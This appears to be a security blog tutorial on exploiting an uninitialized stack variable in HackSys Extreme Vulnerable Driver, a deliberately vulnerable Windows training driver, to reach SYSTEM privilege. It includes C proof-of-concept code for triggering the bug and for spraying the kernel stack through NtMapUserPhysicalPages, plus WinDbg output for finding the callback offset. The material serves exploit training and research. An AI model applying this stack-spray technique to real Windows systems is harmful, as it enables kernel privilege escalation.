Introduction
We are going to discuss about use of Uninitialized Stack Variable
vulnerability. This post will brief you about what is an uninitialized variable, what could be the adverse effect of uninitialized variable vulnerability in your code.
We will discuss this by taking example of an Uninitialized Stack Variable
vulnerability implemented in HackSys Extreme Vulnerable Driver
. We will understand what the problem in the code is, how we can trigger it, and finally, how we can exploit it in Kernel
mode to get SYSTEM
privilege.
Uninitialized Variable
Wikipedia: In computing, an uninitialized variable is a variable that is declared but is not set to a definite known value before it is used. It will have some value, but not a predictable one. As such, it is a programming error and a common source of bugs in software.
The Vulnerability
Let’s look into the source code of the driver and understand where the vulnerability is.
typedef struct _UNINITIALIZED_STACK_VARIABLE {
ULONG Value;
FunctionPointer Callback;
ULONG Buffer[58];
} UNINITIALIZED_STACK_VARIABLE, *PUNINITIALIZED_STACK_VARIABLE;
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_STACK_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
// Validate the magic value
if (UserValue == MagicValue) {
UninitializedStackVariable.Value = UserValue;
UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
}
// Call the callback function
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
}
return Status;
}
You can see in the code that UninitializedStackVariable
is declared but not initialized with a concrete value. But that’s not the issue, the issue arises when the code tries to call a call-backUninitializedStackVariable.Callback()
, neglecting the fact that UserValue == MagicValue
comparison may fail.
The call graph looks very simple and we can see the call
made to an Uninitialized Variable
.
As UninitializedStackVariable
is uninitialized and is a local variable, obviously it’s on the Kernel Stack
and it will contain the data placed by the functions which were called previously.
Just to be clear, the exploitability of vulnerabilities like Uninitialized Stack Variable
completely depend on the implementation and how the uninitialized variable is used throughout the application.
In the UNINITIALIZED_STACK_VARIABLE
structure definition, you can see that Callback
is defined as FunctionPointer
. This is of great value, in terms of exploitation.
If we can control the data on the Kernel stack, we can control UninitializedStackVariable
and naturally control Callback
.
Exploitation Challenges
- Find a way to trigger the use of
Uninitialized Stack Variable
vulnerability in HackSys Extreme Vulnerable Driver - Control Kernel Stack layout/data from User Mode
- Prevent the user controlled data on the Kernel stack from getting clobbered
Vulnerability Trigger
From the evaluation of the source code, we know that if the UserValue == MagicValue
comparison fails, then the use of Unitialized Stack Variable
vulnerability is triggered.
DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
ULONG BytesReturned;
HANDLE hFile = NULL;
ULONG MagicValue = 0xBAADF00D;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
__try {
// Get the device handle
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
exit(EXIT_FAILURE);
}
// trigger the vulnerability
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
(LPVOID)&MagicValue,
0,
NULL,
0,
&BytesReturned,
NULL);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
As you can see in the driver source code, the vulnerable code is surrounded by __try/__except
block, the target Operating System won’t crash. So, we need to enable Stop On Exception
flag usingGFlag
.
kd> !gflag +soe
New NtGlobalFlag contents: 0x00000001
soe - Stop On Exception
kd> g
## ## ######## ## ## ########
## ## ## ## ## ## ##
## ## ## ## ## ## ##
######### ###### ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ######## ### ########
HackSys Extreme Vulnerable Driver Exploits
Ashfaq Ansari (@HackSysTeam)
ashfaq[at]payatu[dot]com
[+] Starting Uninitialized Stack Variable Exploitation
[+] Creating The Exploit Thread
[+] Exploit Thread Handle: 0x50
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAADF00D
[+] UninitializedStackVariable Address: 0x8A6CC9C8
[+] UninitializedStackVariable.Value: 0x85A1E940
[+] UninitializedStackVariable.Callback: 0x00000400
[+] Triggering Uninitialized Stack Variable Vulnerability
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00000400 ?? ???
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
Unknown bugcheck code (0)
Unknown bugcheck description
Arguments:
Arg1: 00000000
Arg2: 00000000
Arg3: 00000000
Arg4: 00000000
Debugging Details:
------------------
PROCESS_NAME: HackSysEVDExpl
FAULTING_IP:
+12a
00000400 ?? ???
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00000400
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000400
Attempt to read from address 00000400
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 00000400
READ_ADDRESS: 00000400
FOLLOWUP_IP:
HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
89f80e82 eb21 jmp HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0xbd (89f80ea5)
FAILED_INSTRUCTION_ADDRESS:
+1ad2faf00bcdfc0
00000400 ?? ???
BUGCHECK_STR: ACCESS_VIOLATION
DEFAULT_BUCKET_ID: INTEL_CPU_MICROCODE_ZERO
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 89f80e82 to 00000400
STACK_TEXT:
WARNING: Frame IP not in any known module. Following frames may be wrong.
8a6cc9b0 89f80e82 039a4375 8427c830 8427c8a0 0x400
8a6ccad4 89f80ed6 016cfb7c 8a6ccafc 89f810d2 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
8a6ccae0 89f810d2 8427c830 8427c8a0 859f31f0 HackSysExtremeVulnerableDriver!UninitializedStackVariableIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 151]
8a6ccafc 82866047 843a4030 8427c830 8427c830 HackSysExtremeVulnerableDriver!IrpDeviceIoCtlHandler+0x156 [c:\hacksysextremevulnerabledriver\driver\source\hacksysextremevulnerabledriver.c @ 283]
8a6ccb14 82a3c9d5 859f31f0 8427c830 8427c8a0 nt!IofCallDriver+0x63
8a6ccb34 82a3edc8 843a4030 859f31f0 00000000 nt!IopSynchronousServiceTail+0x1f8
8a6ccbd0 82a45d9d 843a4030 8427c830 00000000 nt!IopXxxControlFile+0x6aa
8a6ccc04 8286c87a 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8a6ccc04 771770b4 00000054 00000000 00000000 nt!KiFastCallEntry+0x12a
016cfb14 7635a671 00000054 0022202f 016cfb7c 0x771770b4
016cfb40 00042faf 00000054 0022202f 016cfb7c 0x7635a671
016cfb98 76363c45 00000000 016cfbe4 771937f5 0x42faf
016cfba4 771937f5 00000000 7643ae30 00000000 0x76363c45
016cfbe4 771937c8 00042f40 00000000 00000000 0x771937f5
016cfbfc 00000000 00042f40 00000000 00000000 0x771937c8
STACK_COMMAND: kb
FAULTING_SOURCE_CODE:
118: // Call the callback function
119: if (UninitializedStackVariable.Callback) {
120: UninitializedStackVariable.Callback();
121: }
> 122: }
123: __except (EXCEPTION_EXECUTE_HANDLER) {
124: Status = GetExceptionCode();
125: DbgPrint("[-] Exception Code: 0x%X\n", Status);
126: }
127:
SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: HackSysExtremeVulnerableDriver
IMAGE_NAME: HackSysExtremeVulnerableDriver.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 575abbc8
FAILURE_BUCKET_ID: ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a
BUCKET_ID: ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a
Followup: MachineOwner
---------
As you can see from WinDbg output, UninitializedStackVariable.Callback: 0x00000400
which does not seems to be a valid Callback
routine address. This is a clear indication that we successfully triggered the use of Uninitialized Stack Variable
vulnerability.
Just to have some more context about the bug, let’s dump the stack and validate if UninitializedStackVariable
is on the stack.
kd> dps esp
8a6cc9b4 89f80e82 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]
8a6cc9b8 039a4375
8a6cc9bc 8427c830
8a6cc9c0 8427c8a0
8a6cc9c4 89f81b28 HackSysExtremeVulnerableDriver! ?? ::NNGAKEGL::`string'
8a6cc9c8 85a1e940 <---- UninitializedStackVariable.Value
8a6cc9cc 00000400 <---- UninitializedStackVariable.Callback
8a6cc9d0 00000000
8a6cc9d4 000e8244
8a6cc9d8 000e833c
8a6cc9dc 000e8244
8a6cc9e0 8a6cca04
If we can control what’s placed at 0x8a6cc9cc
, we can control the Instruction Pointer
.
Exploitation Strategy
- Find the offset of
UninitializedStackVariable.Callback
from the KernelStack Init
- Somehow spray the Kernel Stack with
user/attacker controlled
data from User Mode - Prevent the offset of
UninitializedStackVariable.Callback
from getting clobbered
Exploitation
We will perform exploitation in multiple stages.
Finding Offset
Kernel Stack Init
can be found using !thread
command. Trigger the bug again and run the command in WinDbg.
kd> !thread
THREAD 8466d768 Cid 055c.00bc Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0
IRP List:
8427c830: (0006,0094) Flags: 00060000 Mdl: 00000000
Not impersonating
DeviceMap 941095d0
Owning Process 8466d3d8 Image: HackSysEVDExploit.exe
Attached Process N/A Image: N/A
Wait Start TickCount 100092 Ticks: 0
Context Switch Count 6
UserTime 00:00:00.000
KernelTime 00:00:00.060
Win32 Start Address 0x01242f40
Stack Init 9a4bfed0 Current 9a4bef54 Base 9a4c0000 Limit 9a4bd000 Call 0
Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
So, Kernel Stack Init = 0x9a4bfed0
and &UninitializedStackVariable.Callback = 0x9a4bf9cc
.
kd> ?9a4bfed0-9a4bf9cc
Evaluate expression: 1284 = 00000504
Hence, Offset = 0x504
. You can confirm if the offset remains same by comparing the offset between multiple runs.
Now, if we can put attacker controlled data at an offset of 0x504
from Stack Init
, we can hijack theInstruction Pointer
.
Kernel Stack Spraying
Now the challenge is to spray the Kernel Stack with attacker controlled data from User Mode.
How can we put user controlled data on Kernel Stack from User Mode?
Well, to achieve this, we need to find an interface which takes data from User Mode and copies it to Kernel Mode Stack and does not clobber it much.
HackSys Extreme Vulnerable Driver already has two such interfaces, namedTriggerStackOverflow
and TriggerStackOverflowGS
.
However, you can find similar interfaces in Windows Operating System too.
One such interface was disclosed by j00ru. His post on nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques
gives you a clear idea on how we can utilizent!NtMapUserPhysicalPages
to spray Kernel Stack from User Mode.
We can spray upto 1024*sizeof(ULONG_PTR)
using this API and this is exactly what we need to exploit this vulnerability.
Let’s update the Proof of Concept to spray the Kernel Stack with 0x41414141
and see if we control the right offset.
DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
PULONG StackSprayBuffer = NULL;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR);
__try {
StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
StackSprayBufferSize);
if (!StackSprayBuffer) {
exit(EXIT_FAILURE);
}
RtlFillMemory(StackSprayBuffer, StackSprayBufferSize, 0x41);
ResolveKernelAPIs();
NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);
HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer);
StackSprayBuffer = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
Let put a break point on the last instruction of NtMapUserPhysicalPages
routine and run the PoC.
kd> u !nt+002c6d56 L1
nt!NtMapUserPhysicalPages+0x4e2:
82afdd56 c20c00 ret 0Ch
kd> bp !nt+002c6d56
Once the breakpoint is hit, we will get Kernel Stack Init
address and find that value at an offset of0x504
.
Breakpoint 0 hit
nt!NtMapUserPhysicalPages+0x4e2:
82afdd56 c20c00 ret 0Ch
kd> !thread
THREAD 8439fd48 Cid 03e0.072c Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0
Not impersonating
DeviceMap 941095d0
Owning Process 84419d40 Image: HackSysEVDExploit.exe
Attached Process N/A Image: N/A
Wait Start TickCount 226817 Ticks: 0
Context Switch Count 52
UserTime 00:00:00.000
KernelTime 00:00:00.090
Win32 Start Address 0x013532c0
Stack Init 80eeded0 Current 80eed9d0 Base 80eee000 Limit 80eeb000 Call 0
Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
Now, let’s get the address of the offset we are interested in.
kd> ?80eeded0-0x504
Evaluate expression: -2131830324 = 80eed9cc
Finally, let’s dump the address to see what it holds.
kd> dd 80eed9cc L1
80eed9cc 41414141
Wow! This is so much fun. We now control the value i.e. 0x41414141
at the offset 0x504
.
Don’t Clobber Me
At this point, we control the data on the Kernel Stack from User Mode. It is essential to prevent it from getting clobbered by other function calls.
To achieve this, we need to prevent any other functions from using the Kernel Stack. Just make sure that you do not perform or call any other function after spraying the Kernel Stack and triggering the vulnerability.
Even simple printf
statement may clobber the Kernel Stack and exploitation will fail.
Final Exploit
During Black Hat Asia 2016 – Arsenal, I had kept a challenge to write the exploit for this particular vulnerability (Uninitialized Stack Variable
).
HackSys Extreme Vulnerable Driver Challenge: Write exploit for Uninitialized Variable bug https://t.co/WCuanrBDih pic.twitter.com/C9IzZXLqdQ
— HackSys Team (@HackSysTeam) March 29, 2016
After two months, I decided to push the exploit to HackSys Extreme Vulnerable Driver
repository on Github as I did not receive any submission.
Closing Thoughts
I hope you all liked the post and if you all have any suggestions or feedback, please feel free to reach out to me. I’ll be happy to implement them.
This week is full of Black Hat and DefCon fever and on this occasion, I’m hosting another challenge to write the exploit for use of Uninitialized Heap Variable
. Please feel free to reach out to me in case you need any help to write the exploit.
HackSys Extreme Vulnerable Driver Challenge: Exploit Uninitialized Heap Variable bug.https://t.co/nWSoVQefMO pic.twitter.com/wW4Jf7mq3Z
— HackSys Team (@HackSysTeam) August 4, 2016
Training
An elaborated version of this post will be part of my Windows Kernel Exploitation Training Lab Manual
. I will also be delivering this training at 44con
and BruCon
this year.
If your company is interested in hosting internal corporate training for your employees, please do get in touch with us at info[at]payatu[dot]com
Author
Ashfaq Ansari is working as Sr. Security Researcher at Payatu Technologies where he spends time experimenting and understanding different attack vectors to exploit Windows User Mode as well as Kernel Mode vulnerabilities. He likes fuzzing and a fanboy of machine learning. He is a computer enthusiast and tries to learn new things.
Ashfaq Ansari
ashfaq[at]payatu[dot]com
@HackSysTeam | Blog | null | Github
References
- https://en.wikipedia.org/wiki/Uninitialized_variable
- https://cwe.mitre.org/data/definitions/457.html
- http://j00ru.vexillium.org/?p=769
- http://ioctl.ir/index.php/2016/02/13/cve-2016-0040-story-of-uninitialized-pointer/
The post Uninitialized Stack Variable – Windows Kernel Exploitation appeared first on payatu.